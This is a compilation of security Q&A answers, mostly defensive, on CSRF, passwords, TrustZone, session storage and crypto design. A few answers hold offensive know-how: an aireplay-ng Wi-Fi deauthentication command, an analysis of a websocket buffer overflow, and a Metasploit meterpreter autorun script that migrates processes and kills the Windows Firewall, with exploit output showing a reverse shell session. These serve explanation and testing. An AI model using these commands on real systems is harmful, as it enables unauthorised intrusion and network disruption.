This would mean you do not have sufficient physical security to protect your assets. If an attacker gets access to your physical device, it's not your device anymore.

There are several things to be considered, including for instance DLP solutions to report on hardware connections. Aside from that restrictions on what type of devices can be imported into the DC as well as ensuring a 4 eye principle can help to prevent unwanted devices to be attached to your machine.

There is also another option which I have seen used before for servers holding sensitive data, which used epoxy resin in the USB ports to prevent them from being used.


System prevents changing password too soon after previous change

The main reason this type of policy is implemented is to be paired with a no/limited password reuse rule and password expiration and prevent user bypassing the reuse limitation by changing their password enough time in a row that they could continue to use their old one.

Say you have a policy that forbids to reuse the last 5 passwords but I want to keep my "p4ssw0rdverystronk", I could change it to "zxcvbn", "qwerty", "password1", "sefa_pass" "idonthaveanymoreidea" and back to "p4ssw0rdverystronk" in a few minutes.


Is ensuring that a random string in a cookie and a header are the same enough to protect against XSRF?

Yes, the system you describe - just comparing a cookie value with a header value - is a fully functional CSRF defence. In fact, it even has a name: double submit cookie. It's a great way to do anti-CSRF when you don't want to keep server state. Note that you don't need a JWT for this. Any cryptographically secure random number will do.

So why not always do this? Why ever bother with saving a random token in a session, when you can just have the client do all the heavy lifting? Perhaps double submit cookies are somewhat more prone to implementation errors (e.g. what happends if both are empty, loose typing issues, etc.). But I think the main reasone is that the ordinary token is just simpler to understand. The server keeps a secret that the attacker does not know. The workings of the double submit is conceptually more difficult to understand.


What Trusted Execution Environment (TEE) solutions exist for mobile devices?

At least for ARM-based CPUs, there's TrustZone. While not the same, it is possible "SGX-like" instructions and capabilities will carry over in the future.

  Each of the physical processor cores in these designs provides two
  virtual cores, one considered Non-secure and the other Secure, and a
  mechanism to robustly context switch between them, known as monitor
  mode. The value of the NS bit sent on the main system bus is
  indirectly derived from the identity of the virtual core that
  performed the instruction or data access. This enables trivial
  integration of the virtual processors into the system security
  mechanism; the Non-secure virtual processor can only access Non-secure
  system resources, but the Secure virtual processor can see all
  resources.

http://infocenter.arm.com/help/topic/com.arm.doc.prd29-genc-009492c/PRD29-GENC-009492C_trustzone_security_whitepaper.pdf

https://en.wikipedia.org/wiki/TrustZone#Security_extensions


Running Selenium Jenkins, through OWASP ZAP, before scanning

I solved my problem. There is a way to start ZAP in Jenkins, then run the selenium process and then perform the ZAP scan.

The instructions explained how. I just misread them.

It was correct that I was supposed to place Selenium before Jenkins. What I was supposed to do was to start the Selenium tests in the "Build" section. I then add "Execute ZAP" as a "Post Step". In the "Execute ZAP" settings, however, there is a "Startup" section. In that section, I check "Run as Pre-Build Step".

That simple. Jenkins sees that I checked "Run as Pre-Build Step" and executes the ZAP startup as a pre-build step, but performs the actual commands as a post-build step.

So, the documentation said it exactly as it should have been said. I just misunderstood it, going so far as to quote the misunderstood sections in my original question.


Malware known to use port knocking to evade detection by network scanners?

Sebastein Jeanquier's Master's thesis section 7.1, "Port Knocking in Malware (Backdoors)", states that SAdoor and its predecessor cd00r both used this feature.
Tony Bradley writes in About.com that "malware writers of the world have unfortunately ... begun to adopt  this technique for opening backdoors on victimized systems" but doesn't provide any examples.


alert tcp any any -> 192.168.6.4 any (msg:"FIN"; flags: F;)

flags: F matches packets where the flag is exactly FIN.
But if you want to match the end of the connection you usually encounter packets which have both FIN and ACK set - so your rule does not match. To match packets where at least FIN is set but other flags might be set to use flags: F+.

I want to detect packets, where the SYN,FIN,PSH,ACK flags are set. How do I do that?

To match exactly this combination use flags: SFPA


Storing data encryption key (client side)

First of all, don't ever roll your own crypto for commercial software. It is very, very, very easy to make a mistake.

But if you're just doing this for a personal pet project, or perhaps as a school project, you can do something like this:

Client generates random symmetric encryption key
Client encrypts message using symmetric key
Client encrypt the symmetric key using your server's public key
Client sends both encrypted message and encrypted key to server
Server can decrypt the symmetric key using its private key, then use the symmetric key to decrypt the message.

This scheme is vulnerable in a number of ways, but it solves the specific problem you are asking about in your question.


ARM TrustZone with Normal and Secure World

Check the NS bit in the SCR register (it's the same register on ARMv7 and ARMv8). You need to be in a privileged mode (i.e. EL1 and above). (Monitor mode (EL3) is secure regardless of the value of the NS bit but if you need to ask you aren't running code in monitor mode.)

It's a bit odd that you'd need to test that because typically the two worlds would be running different operating systems (if the secure world is used at all).

Whether a normal world application can communicate with a secure world application entirely depends on what operating systems are running in the normal world and in the secure world. The normal world operating system (EL1 NS) can issue an SMC instruction to switch to secure mode (via the monitor), which works roughly like SVC to make a system call from user to kernel.


Intercepting Bluetooth LE communication with an app on the same mobile device

I'm writing an ionic cordova app and stumbled upon this. I'm trying to simply connect my bluetooth headset to my android and set up a SCO channel (for HFP bluetooth), but every time I do, a Spotify Service interjects and sets the connection to A2DP. It seems like Spotify wrote a service to hack the bluetooth SDK to ensure that its bluetooth connections are always compatible with its music listening service. When I delete Spotify this does not happen. So in short, yes, I believe it is possible.


Should I block a user from using banking app if they fake the location?

Are you talking about faking location services in a browser or on a mobile device, or connecting through a VPN to appear to spoof IP-based geolocation?

Personally... if my bank asked for access to geolocation data from my phone for anything other than finding a branch or ATM, I probably wouldn't be using that bank. As for IP geolocation checks... I'd use that data to add weight to fraud detection.

If there are enough factors to suggest the request is not by the customer, then block as potential fraud. But current location alone probably shouldn't be enough, because people travel. Did they suddenly move from one country to another faster than one could travel by plane? Are they connected from two countries at once? Is the user-agent of the connection different than what the normally use?

Add up all these little things and set a threshold at which a block action will take place. If you want an example of how this would be structured, email anti-spam systems are a great example to look at. There's not one single factor to decide if email is spam... it's a system of different checks that work in concert with one-another.

If VPN services are a concern... add them as a factor in the system. But many people will be connecting to a VPN for banking if they are on public WiFi. I don't think that alone would be a legitimate reason to block a request. I'd probably set the system to adjust the weight of the factor based on whether the user normally uses a VPN or not.


Why would an attacker try to guess random email usernames on a small domain?

These attacks have little to no cost and risk to the attacker.  Imagine if the attacker has control over a botnet of a few thousand computers.  That's at least a couple thousand tries for username+pass.  If it picks the most common usernames and passwords it has a chance (small, but still not none) of getting access to your system.

While you may not have anything particularly valuable for them to steal, they now have 1 more computer, which they can use to compromise others, whom might actually have valuable data.

If this is being done over hundreds of thousands of domains the chances of getting access to at least a few is pretty good.

No cost + No risk = Lots of Attempts.

They're probably checking your mail server because they might have more lax password timeouts.  There are a lot of people who reuse passwords too, so they may get lucky.


Your problem is a problem of authorization.

SSL has nothing to do with your problem. While you must use SSL to protect your data from leaking and tampering, it will not help in any way to solve your authorization problems.
Encrypting the parameters is insufficient. It will keep the common user from tampering with the parameters, but it will not stop any sophisticated attacker from reverse engineering your client application and extracting the encryption key - hence gaining the ability to tamper the params even if encrypted.

IMHO your whole concept of authorizing an application is wrong. If you really care about data breach between companies you should implement authorization in the user level. Each user of the application should authenticate himself and you should have some mechanism of authorizing user's to access company data.


Can biometric photos / finger prints be forged when they are taken by a human?

Even a DNA sample can be forced to be inaccurate: it's dangerous, expensive - but it's possible, beleive me. The way you're 100% sure that p and p' are the same person is sign something with your key, not giving any of keys to him, give this signed piece to him and ask him to sign with his key and bring the result with himself. You will be able to verify it in two ways: his signature and you can check the integrity of your initial crypto-message: the person "p" is not aware of what's inside, so it can't forge this. It should be fine and inexpensive, IMHO.


How do you erase a Blackberry without having direct access to the server?

... just found something that works:

If you are an ordinary BIS user, perform a security wipe: Options / Security Options / General Settings / Menu / Wipe Handheld. If you are a BES admin, wipe using this procedure to remove the IT Policy: Removing an IT Policy from a BlackBerry phone.
Format or remove any Media card. Wiping the device does not delete data on the card.
Contact your carrier and release your pin.
Remove your phone number using Step 4a or 4b as appropriate.
4a. GSM users: Remove your SIM. That takes your phone number out of your device.
4b. CDMA users: Dial ##000000 and press Send. Delete the Mobile Directory Number and replace it with another 10-digit number that won't violate anyone's privacy. 2025551212 is a good choice. Then press the BB button and select Save. Allow the phone to reboot.

Alternatives that also wipe the device:

CrackUtil
JLCmder

The following URL describes how to use the RIM utility "loader" to reset to defaults

http://www.blackberry.com/btsc/search.do?cmd=displayKC&docType=kc&externalId=KB18998

Lastly, the following key combination only reboots the phone and doesn't wipe the device (which is what lead me to researching this topic):

alt  +  right shift  + del


Are there any nice info sites dedicated to explaining how and why to (not) store user passwords in the database?

I would like to point you to this post here on security stack exchange.

However, it would be difficult as a normal user to convince a site to change their password policies unless you are paying for their services. I would just avoid using such sites if at all possible.


Whatsapp encryption: are the public keys requested from the server every new message or only at session setup?

The public key is requested from the sender when you are initiating the session.

You can also verify your keys to see if you are a victim of a MitM attack. All information regarding that can be find in the whitepaper.

The coming quote is an answer to your question about forward secrecy.

Clients exchange messages that are protected with a Message Key using AES256 in CBC mode for encryption and HMAC-SHA256 for authentication.

Forward secrecy is a property of secure communication protocols in which compromise of long-term keys does not compromise past session keys. A implemenation of that property is that whatsapp is doing for achieve this property.


How could we really know if a software is a malware (virus), for platforms like Windows or Android?

Just by looking at it? It'd be probably difficult. If you go deeper and look at your Task manager in Windows and list of apps in android, and see something that shouldn't be there, probably you might find it. If you dive further and analyze packets of data using, say, Wireshark, chances are high you might find it. Please note that none of this is sure shot way of finding the "malicious" app.

Regarding Android, if you download an app for flashlight, and it requests permissions to access your files, or access to your contacts/messages, or if it's sending huge data to some server, you should look at it with suspicion.'

Again, there's no sure-shot way of finding if you've been infected. Although there are some common signs like unexpected rise in data bills, sluggish performance, uncanny behavior of device, but none of them can guarantee that your device is infected.

If you believe that your device is infected, please have a look at this answer


Can not logout when the network is unreachable

If a server has no connection with your client system, your command to log off can never reach the server.

Most web services use cookies to determine who is logged in. If you need to terminate the session, then you could throw away the cookies. A website may offer to delete cookies with javascript, see https://stackoverflow.com/questions/2144386/how-to-delete-a-cookie, but that can only be done locally.

Note that  for example banks also have a time-out on the session, which means that if your session was inactive for a few minutes, the session will automatically be terminated.

It depends on a risk analysis to determine whether such a time-out is required. For banks, health-service etc, the answer is yes, its is required. Apparently, SO finds long logins not such a great risk and long logins are easier on the users, so no real time-out seems applied here.


How to secure store sessions values in webapps?

Yes, it is best practice to hash session tokens within the database. This way sessions cannot be hijacked if the data is exposed. Session tokens themselves should be generated with at least 64-bits of entropy.

Therefore, value provided within cookie = token, value stored in database = token hashed.

As of 2016, SHA-2 is recommended to create the hash. Note that salts are not needed for values generated using sufficient entropy.

A database server is often required for server-side session storage where servers are clustered (although a caching layer can be used instead). Although you can use PHP custom handlers in order to do this, it appears that the Joomla authors decided to roll their own, which is vulnerable to data extraction attacks as you mention.

It is also best practice to restrict access to the storage mechanism. For example, a database account with write access to the table can be used for login and logout and updating the session expiry, and a database account for read access for checking the login session. The rest of the application could use a database account that cannot access the sessions table at all. A secret "pepper"/"system-wide salt" could be used in order to mitigate other attacks where the session table could be written to.


What due diligence is required for HTTPModules that run within IIS?

HttpModules are application-level code. They are enabled for an application in its web.config and should not (accidentally) affect other application pools. They don't inherently have any more rights than any other app code.

Consequently they deserve the same level of auditing as any other custom code you're running, but don't bring in any risks to the infrastructure that you don't already have.


In one sentence: data can be modified and calculated without being disclosed. Quoting from the Wikipedia page: ... effectively allowing the construction of programs which may be run on encryptions of their inputs to produce an encryption of their output. Since such a program never decrypts its input, it can be run by an untrusted party without revealing its inputs and internal state.

Like with most research agencies, their possible benefits aren't fully described. The full benefits of GPS, for example, were probably not imagined at the time either.


Can I use the same password forever on my local machine

True, it only protects against physical access. But on portable corporate machines accessing corporate assets, it's a different ballgame as the local user authentication is probably also used to authenticate on the corporate domain when connected in some way to the corporate network. Let's say someone manages to read your username, domain and sees you typing your password connecting to a corporate laptop, they may not need physical access to that particular laptop to access the corporate network using the "stolen" credentials.
True. In fact, I would argue that encouraging users to change their local machine password too often would likely reduce password security as users tend to get tired to remember new passwords every 30/60/90 days. As a result, new passwords are very likely to be variations of previous ones, noted down, or simply weak.
Both local and online passwords should be made really strong, because although attack vectors may vary, ultimately you want both passwords to be resistant to brute forcing and dictionary attacks.


Porn sites and advertisements are two business models which often depend on getting the best performance with the fewest costs. HTTPS impacts performance during the initial TLS handshake (can be reduced but not eliminated with session resumption). It also needs more computing resources to encrypt the traffic on the server side and decrypt it on the client side, which again impacts performance and/or increases the costs to run the site.
Another problem is the inclusion of third party sites (advertisements etc). To work with a https porn site these resources would need to be https too, because otherwise they will not show up (mixed content error in the browser).
But probably as soon as enough paying customers ask for https they will provide it optionally, because losing traffic because of an unsatisfied customer is probably more significant than losing performance or increasing costs.


Is the concept of Authenticated Anonymity possible?

First, authentication is not really “proving that someone is who they say they are”, but linking an action, message or situation with an identity. If I show my passport to prove who I am, what I am really doing is linking my physical presence with the identity conferred to me by the state of which I am a national.

A person may well have multiple identities. For example, people with dual citizenship have two passports and what they do with one is somewhat decoupled with what they do with the other.

Multiple identities are the basis of anonymity. Indeed, as soon as you interact with anyone else in any way, this creates an identity: you're the person who did this thing at that time. Anonymity is not a lack of identity, but a lack of a link between a certain identity and any other identity that you may have.

Coming back to authentication, it is a link between two identities: the person who did that thing at this time is the same person who owns these credentials. Phrased this way, authentication is exactly contradictory with anonymity. However, there are many situations where it is useful to have partial authentication or partial anonymity.

An obvious solution to partial anonymity is to have a trusted third party as an intermediary. I'm using one right now: you know me by my Stack Exchange account, and you can use this identity to authenticate my Stack Exchange activity. Stack Exchange knows me by an identity with an OpenID provider, but isn't telling you. My OpenID provider in turn knows some things about me, but they only know the name on my passport if I've been telling them. There is a chain of links between identities (which could be traced all the way to, say, my home address via ISP logs), but you need the collaboration of multiple parties to resolve the chain.

How satisfactory such situations are depends on how the identification linkage chain is set up and what parties you're prepared to trust. Having identification linkage chains that are practically impossible to trace is the basis of anonymity systems such as TOR.

Going in another direction, authentication is very often used for authorization. I may use this account because I am the account owner. I may enter this building because I am an employee. An authorization system can be set up to decouple the action that is being authorized from the identity that led to the authorization. A well-known example is voting systems: they have both strong authorization requirements (only registered voters may vote, and only once per election) and strong anonymity requirements (even I cannot prove who I voted for, at least not if I want my vote to be counted). In traditional voting systems, anonymity is ensured by stepping into a booth to put a standardized piece of paper in an opaque envelope. Anonymity is ensured by observers who control that everyone steps into the booth and by rules that make non-anonymous ballots void.


Data security by third party esta suppliers

I found a discussion (in french language) here. What is said is that there are many sites that require more that the official fee for their help in getting the document, which is allowed. And a comment say that generally they do not do more harm than the additional fee, because it is enough for them to live and passing fraudulous operation would come at the risk of being legally attacked.

So you should just control your account statements and if you see a fraudulous operation, just require your bank to cancel it - what you should anyway already do. At least in France, every bank immediately cancel any payment if it is declared as fraudulous unless it has been confirmed by the pincode, a manually signed paper or a 2FA method like a SMS code.

So unless your bank declare that you must prove that an operation is fraudulous for them to cancel it (and my advice would be to change your bank), you should not worry too much about you data. After all, it would not be that different than an evil employee on a good site, because he could also steal the informations.


How do short lived certificates increase security?

One document I can't resist from showing you here is draft-nir-saag-star by Yoav Nir (the chair of ACME working group) and the subsequent discussion across the saag mailing list.

An important issue Yoav rises there is that neither OCSP responders nor CRL distribution points are widely recognized as reliable network parties. I mean, there's obviously no evidence they are constantly down either, but, given the soft-fail approach currently in use, there's no need for a current certificate authority infrastructure to be available and monitored 24/7, which makes the transition to hard-fail (with the likes of Must-Staple, etc.) much harder.

And, anyway, CRL and OCSP both constitute an additional single point of failure, while a today's Internet service tries its best to avoid those at all.

As a matter of fact, a short-lived certificate is only good if the rotation is automated; however, for a sufficiently scalable network service, deployed across tens to hundreds to thousands physical and/or virtual instances, this holds true.

Also a few quick remarks on the rest of the question,

  Conversely, if the protocol is good, an attacker will only be able to compromise the secret key from breaching the system

— But not necessarily the system where the certificate and the private key are deployed in order to handle the production traffic. Might as well be the central Ansible server, or its network storage, or a server used for certificate renewal, or anything else. Might also be just a small portion of the production servers, not even in use (e.g. when a network service is deployed over a few cloud providers and one of those has allowed for a breach). In some (more outdated?) threat models it might have also been a (stolen) personal laptop of an employee responsible for certificate renewal.

In all the above cases there won't be any immediate benefit to an attacker for installing a backdoor, while they can still easily go away with the private key and use it for MitM, etc.

  We’ve finally begun to accept with passwords that frequent rotation is pointless (and risky)

Well, not exactly. E.g. NIST SP 800-63B suggests that "verifiers SHOULD NOT require memorized secrets to be changed arbitrarily (e.g., periodically)", where a memorized secret is "a type of authenticator comprised of a character string intended to be memorized or memorable by the subscriber, permitting the subscriber to demonstrate something they know as part of an authentication process".

However, this doesn't apply to a private key which is never ever expected to be memorized or memorable in any sane contemporary usage scenario. As a matter of fact, there are also drawbacks of a frequent certificate rotation (such as the need to properly automate things), but those are not even close to the disadvantages of a frequent memorable passwords' rotation.


How do I make it so aireplay-ng deauth doesnt send a broadcast?

I think that you are misusing air*-ng suite : this framework is intended for a "lower level" manipulation. You don't need to be on the same network as target, or even know its IP address.
When using aireplay, you should already have a clear understanding of "lower level" network topology : you should already know (e.g. through airodump) which client is associated with which AP.

Note: When I mean "client" and "AP", I'm talking about their BSSID's (which is often the MAC address).

Once there, you can tell aireplay to deauth client (identified by BSSID) by impersonating the AP (still identified by its BSSID), e.g. :

aireplay-ng -0 100 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0

Note: Previous command is from https://www.aircrack-ng.org/doku.php?id=deauthentication; I just change -0 1 by -0 100 because in real cases, you need more than 1 deauth packet to effectively deauth target.

If you do so, aireplay will inject fake wifi packets in order to break the link between client and AP.

If you intend to break the passphrase, you should capture the (re)assotiating challenges (e.g. with airodump) and then break the key (e.g. with aircrack).

Hope this helps.


How is a second password better than TAN?

If your device is compromised (or “easily stolen”), SMS authentication is just as useless because an attacker can just read the message. The advantage of storing an encrypted password is that it’s hard to access (especially with biometrics), compared to text messages which can by default be read even on a locked screen.


What measures can I take to secure a MacBook Pro connected directly to a modem with no router?

If you're not running any service in your workstation (which you're not) then you can simply block (drop) all incoming connections.

Usually simply enabling the firewall is enough since the default is to drop all incoming.

The rest will depend on your context, but usually you don't need outgoing filters on a workstation, so that's a lot less to worry about.

Incoming drop. Outgoing allow. Adjust as needs arise.


Is PGP suitable for encrypting webservices?

SSL will be faster than SOAP+PGP.  Cryptographically, both SSL and PGP are hybrid systems which use public key cryptography to protect symmetric session keys.  In practice, SSL has been tuned on the client and server side to do what it's doing quickly, PGP hasn't been optimized for this case.  And you'll have to figure out your key distribution and trust mechanism if you roll your own PGP method.

Doing your own encryption will have the advantages of protecting it from the usual cases - MITM proxies, accelerator decryption.

Without knowing more about your app, it's hard to say, but in most cases, it's not worth it to go your own way.  SSL provides pretty darn good security for the average application.


Is it reasonable to consider logs as a "technical control"?

Logs are a detective control - they allow you to detect activities that you would like to control.  Obviously, they do it in an electronic fashion, making them a technical control by the definition you've provided (as opposed to procedural controls, for example).

You seem to be thinking more of preventive controls, which block activity you would like to control before it happens.  Technical controls are often preventive, by their nature, but they don't need to be.

Distinctions like technical and procedural indicate how a control works.  Distinctions like preventive and detective indicate when a control works.


How secure is giving confidential information over a cell phone?

It depends on what your threat model looks like.

For most people, saying your card number or SSN last four over the phone is fine, because it still requires a lot of dedication, at least a few thousand USD of equipment, and maybe a zero-day to eavesdrop on an LTE call. You're more likely to have your identity stolen by the customer support rep on the other end than by someone tapping your phone.

If you are in a position where your adversaries are government spying agencies, you should use an end-to-end encrypted system to discuss confidential information. This is because you're defending against a group of smart, motivated, and well funded people. Examples include: you work in the White House / Capitol Hill, you are the CEO of a company with sought-after trade secrets, ...


Does WD My Passport WDBYFT0040BBK-WESN have encryption vulnerability?

That paper has 2 tables (table 2 and table 6) listing VID:PID (vendor id and product id) for devices known to use the chips they examined. You can find the VID and PID of a usb device on Linux using lsusb, other systems may have other methods to obtain VID and PID.

However, it's possible that your device uses one of the chips listed in table 1 without being listed in table 2 or 6, as the authors could have been unaware of it or it could have been released after the paper was written.

Even if your device doesn't use one of the chips examined in that paper, given the track record I wouldn't rely on it for anything sensitive. In general software solutions for disk encryption have an advantage here as they're generally more widely audited and they don't have to be tested for each and every hard drive model.


Is encryption possible at the physical layer?

The job of physical layer is to transmit the data over some channel(cable or wireless medium). If encryption was done at the physical layer, then all the data, including the application data, the destination IP address, port number, different headers, etc. will be encrypted as well. When this encrypted data will be transmitted, the next node(router,switch, or some other link) won't be able to determine the destination address(since even the destination address is encrypted), and it won't be able to forward it.
Hence, encryption is not done at physical layer.


They were remade as part of a cleanup
On 2020-01-31 (so almost exactly one year ago at the time of writing this), Rapid7 released  this article, in which they explain the history of how jtr_crack_fast and similar modules came to be.
If you don't care for the article, and just want the synopsis: The modules were all renamed to crack_ instead of jtr_. You can also change whether or not you wish to use JtR or Hashcat as the backend, so that the commands are backend-independent. These new and improved commands also have other nice features added, such as show_command, which allows you to show the command being executed in the backend. The article explains it in more detail.
This change has been in Metasploit since version 5.0.72.


In Asymmetric cryptography, is the number of Private Keys limited?

The fundamental problem you seem to overlook here is that Alice and Bob need some secure channel to guarantee no one can tamper with the keys that are being exchanged. As explained in Cthulhu's comment, in the particular scenario you describe, a man in the middle could break the confidentiality of the messages exchanged by generating his own pair of keys and sending his own public key to Alice. One way to address this issue is to use a long-term pair of keys, which happens to be the practice you want to get rid of.

To address the otherwise catastrophic implications of leaking a long-term private key, modern cryptosystems actually generate per-session key pairs that are never stored in any permanent memory. This property of a key agreement protocol is called perfect forward secrecy. In any case, you will still need to rely on a long-term key pair to start the whole process.


The short answer is that it is not easy to exploit iOS RAM via software.

iOS has two memory related security features: (1) Address space layout randomization (ASLR) for protection against memory exploits, and (2) ARM processor's Execute Never (XN) feature, which marks memory pages as non-executable. With ASLR the data won't always be in the same place in the memory - this makes it tough for buffer overflows and its ilk to work reliably.

Also the response you quoted isn't accurate for newer devices. For iPhone 5s and up or any device uses the A7 or above processor has a hardware component called the Secure Enclave that more securely handles keychain operations with features like memory encryption.

Another factor to consider is depending on your application and information sensitivity, there are several other options in addition to AfterFirstUnlock. In theory, you may be able to glean information from the device for apps that store information at the AfterFirstUnlock level. But not from any apps that utilize the WhenUnlock level.

Apple makes a judgement call balancing convenience and security by storing VPN & WiFi passwords with AfterFirstUnlock, but more personal Safari passwords at WhenUnlocked. These seem to be reasonably good guidelines to abide by. In other words even if an exploit were possible on a locked phone the information exposed is still limited.

Having said that the bigger concern these days may be application developers who do not fully understand the implications of different accessibility levels when storing data in the keychain or when utilizing file data protection. If storing something important - make sure to use WhenUnlocked, which requires the phone to be unlocked to access. Some apps even add their own app level passcode to encrypt what they consider critical information as well.

There's a lot more detail in Apple's iOS Security Guide on these items.


Why is it insecure to store the session ID in a cookie directly?

The author of that JS library seems to have made a common, yet mistaken, assumption, though based on just enough knowledge to get things wrong.

You can't just sprinkle magik crypto faerie dust and expect to get more security, like chocolate chips.

What the author is missing is that once you sign the session id, and put that in the cookie - the signed session id IS the session id. That is literally the identifier with which end users will tell the server which session is theirs. It doesn't matter that the server will like to do some internal processing for associating the actual session identifier with the internal representation of the session's memory.

To be clear, if the signed session id is stolen - in any way, whether via XSS, social engineering, or anything else - then the attacker will be able to simply use that signed session id to hijack the user's session, internal representation notwithstanding.

That said, there is one nominal benefit in signing the cookie value before sending it to the browser: tamper detection.  That is, upon receiving the user's cookie, the web application can verify that the cookie was not tampered with before using it to look up the session memory, namely by validating the signature. This might possibly prevent certain advanced / active attacks on the session management, by avoiding a session lookup on a session id that was never valid.

However, this supposed benefit is doubtful, since the session id is typically just an id, used to look up the session variables. Also, most attacks targeting the session id would not be stopped by this - session hijacking, session fixation, session donation, session riding, etc...

Anyway, if you really want to verify that the session cookie was not tampered with before using it, there are simpler ways than a digital signature...


Because the actual connection to the bank is probably secured with TLS (https), which is mandatory in most legislations for banks now, it does not depend on the authentication and encryption of the wifi you are on; your information will be secure even over an open wifi.

However, as those are university networks, it might be the case that they use a TLS-Proxy to inspect the https-traffic for malware or exfiltration. If they do that, your TLS-connection is not with your bank but rather with the proxy of your university, which is a man in the middle.

This is useful because webmailing uses https as well and cannot be checked for viruses that could otherwise be checked for and blocked in an enterprise network.

You can check that with the ssl obervatory or checking what certificate you get from within that network and from home and comparing those.

A good hint would be if you installed a CA certificate for your university.

On the other hand, banking sites, at least the common ones, are usually on a white list for TLS proxies because of exactly the problems that this could entail.


Using the code from the bulletin:

ws_ctx_t *do_handshake(int sock) {
    char handshake[4096], response[4096], sha1[29], trailer[17];
    [...]
    offset = 0;
    for (i = 0; i < 10; i++) {
        len = ws_recv(ws_ctx, handshake+offset, 4096);
        if (len == 0) {
            handler_emsg("Client closed during handshake\n");
            return NULL;
        }
        offset += len;
        handshake[offset] = 0;
        if (strstr(handshake, "\r\n\r\n")) {
            break;
        }
        usleep(10);
    }
    [...]
}

offset = 0
ws_recv (ws_ctx, handshake + 0, 4096) => 4096
offset = 4096
handshake[4096] = 0; // out of bounds write.
no double-CRLF found, loop
ws_recv (ws_ctx, handshake + 4096, 4096) => entirely out of bounds write.

The loop seems to have been designed with the assumption that it would only loop due to receiving insufficent data.  By throwing gobs of data at it it looped anyways but after the first pass it no longer had properly constrained memory.

The 3rd parameter should have been 4096 - offset, representing the amount of space remaining, not the total buffer space (since ws_recv didn't get the total buffer unless offset==0).  (Or they needed to reallocate, et cetera).


Auto execute meterpreter commands on session start

Yeah sure! you can define a file with commands (.rc file) and set that file as autoexecutable.

msf > set AutoRunScript multi_console_command -rc /root/autoruncommands.rc

Put inside .rc file the commands you want to launch:

run post/windows/manage/migrate
run post/windows/manage/killfw
run post/windows/gather/checkvm

Then, after a session is created they will be executed automatically:

msf  exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.10.200.40:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 10.10.101.11
[*] Meterpreter session 6 opened (10.10.200.40:4444 -> 10.10.101.11:1125) at 2012-04-22 17:58:16 -0400

meterpreter >
[*] Session ID 6 (10.10.200.40:4444 -> 10.10.101.11:1125) processing AutoRunScript 'multi_console_command -rc /root/autoruncommands.rc'
[*] Running Command List ...
[*]     Running command run post/windows/manage/migrate
[*] Running module against XPVM-SP2
[*] Current server process: svchost.exe (1324)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3984
[+] Successfully migrated to process 3984
[*]     Running command run post/windows/manage/killfw
[+] Killing Windows Firewall...
[+] Done!
[*]     Running command run post/windows/gather/checkvm
[*] Checking if XPVM-SP2 is a Virtual Machine .....
[*] This is a VMware Virtual Machine

Extracted from here. I copied and pasted the same example because is enough to explain it. And check the link, it has more interesting stuff.


End to end ecncryption and solution to password lost

Whatever the gory details, encryption key recovery requires a backup of the key. A common way is to store that backup copy in encrypted from, using the public key of a key master - generally a team administrator. That way, if the user loses his key, the key master can recover the data.

But if you offer that recovery system, you (someone in your staff) automatically have a hidden backdoor to your users data and break the zero knowledge rule.

The more you can do is to warn your users that if they lose their password, all their data will be irremediably be lost, and advise them to keep a secure backup of their password/key. Depending of the requirement, a sealed envelope in a physical safe can be fine, or a password vault on a external device (USB key, smartphone, ...)


What should I exchange with the server when I generate my AES 256 key?

Don't do this, ever.

Inventing a secure protocol, even using known-good cryptographic primitives is extremely hard. Implementing a correctly designed protocol is still considered hard, even when using correctly implemented cryptographic primitives. Experienced people who work on crypto at Google/Microsoft/Apple have made bad mistakes with this stuff. They have learned from these mistakes and they all recommend you use the highest level misuse-resistant API you possibly can, instead of what you're doing which is using extremely low level API, badly.

From the questions you ask, you are very far from being qualified to do this kind of work for anything that will ever leave your computer.

It looks like you're trying to invent 90s crypto.

AES does not have an "IV parameter". You're asking about block cipher modes of operation (specifically CBC, which is not used in new protocols), and trying to decide whether to make the deterministic IV bug in TLS 1.0 CBC. Well guess what, the bug was brought up on the mailing list in the last century and has been fixed since then. And then CBC was deprecated in favor of AEAD modes, and now the industry is into misuse-resistant AEAD modes that don't break catastrophically when you repeat a nonce. Working alone without the best cryptographers pointing out the issues with your scheme, you might discover all those famous bugs by yourself, in a thousand years or so.

Since you haven't asked about how to combine encryption and MAC, I suspect you're doing unauthenticated encryption, which is known to be catastrophic. When you discover you need a MAC, you'll combine it badly with the encryption and the padding, like SSL did in the 90s.

Do you understand how secure padding of RSA works and why you need it?

You're trying to do RSA key exchange which has been disallowed in HTTP2 and TLS 1.3, for good reasons. Modern protocols provide forward secrecy.

Do you understand that index calculus is slowly killing RSA and classic DH and that's why people switched to ECC?

To summarise: Don't do this. Ever.

Use libsodium (or tweetnacl) instead. It is secure, fast, has a misuses resistant API, has been vetted by the best people. It is much, much better than TLS, even TLS 1.3 which is not standardized yet.

For educational purposes, I recommend doing cryptopals. You'll learn all you need to know about breaking bad crypto.


Will my existing VoIP phone work if I install TOR?

In most cases,  your ISP has separated your voice traffic from your data services. Your modem is still the endpoint for traffic, but likely using different addresses for data/voice.

Heavy utilization can cause breakup to separated voice services but shouldn't be negatively impacted by tor.


Do all Authenticator Apps use the same algorithm?

these apps are use the same algorithm which is a generic algorithm not an application developer's algorithm. Am I right ?

Yes.

There are two commonly used protocol for authenticator apps:

HOTP (HMAC-based one time password), which is specified in RFC 4226
TOTP (Time-based one time password), which is specified in RFC 6238

The algorithms for the two protocols are specified in open standards, so yes, all implementations of it are inter compatible.


Not able to intercept traffic from nike.com login request

This problem comes from the configuration of unite.nike.com, which is the domain used to login users. The server replies with a 403 Forbidden response, so the AJAX request fails, and the site displays the "An error occurred" message.

This domain is protected by Akamai, and it seems to have a very strict security configuration to detect MitM / bots: I can't manage to perform a cURL request against it, so this is not a traffic interception issue.

My guess is that the server is detecting a browser-specific fingerprint, though I haven't figured out which one exactly yet.

The Burp Suite team needs to fix their proxy, since it should be as transparent as possible for a remote server.

Since the Postman extension doesn't have any trouble to fetch the page, any browser extension capable of traffic interception should work, since all its requests will be done in a browser environment, likely to preserve the fingerprints which are detected by the server.


Does GDPR apply to generic service providers?

Technically, the Data Controller is responsible for making sure all processes are GDPR compliant. That means that whoever uses your service needs to make sure that they are being compliant. If they need you to be compliant, then they need to engage you. You can decline to become compliant if that does not meet your goals.

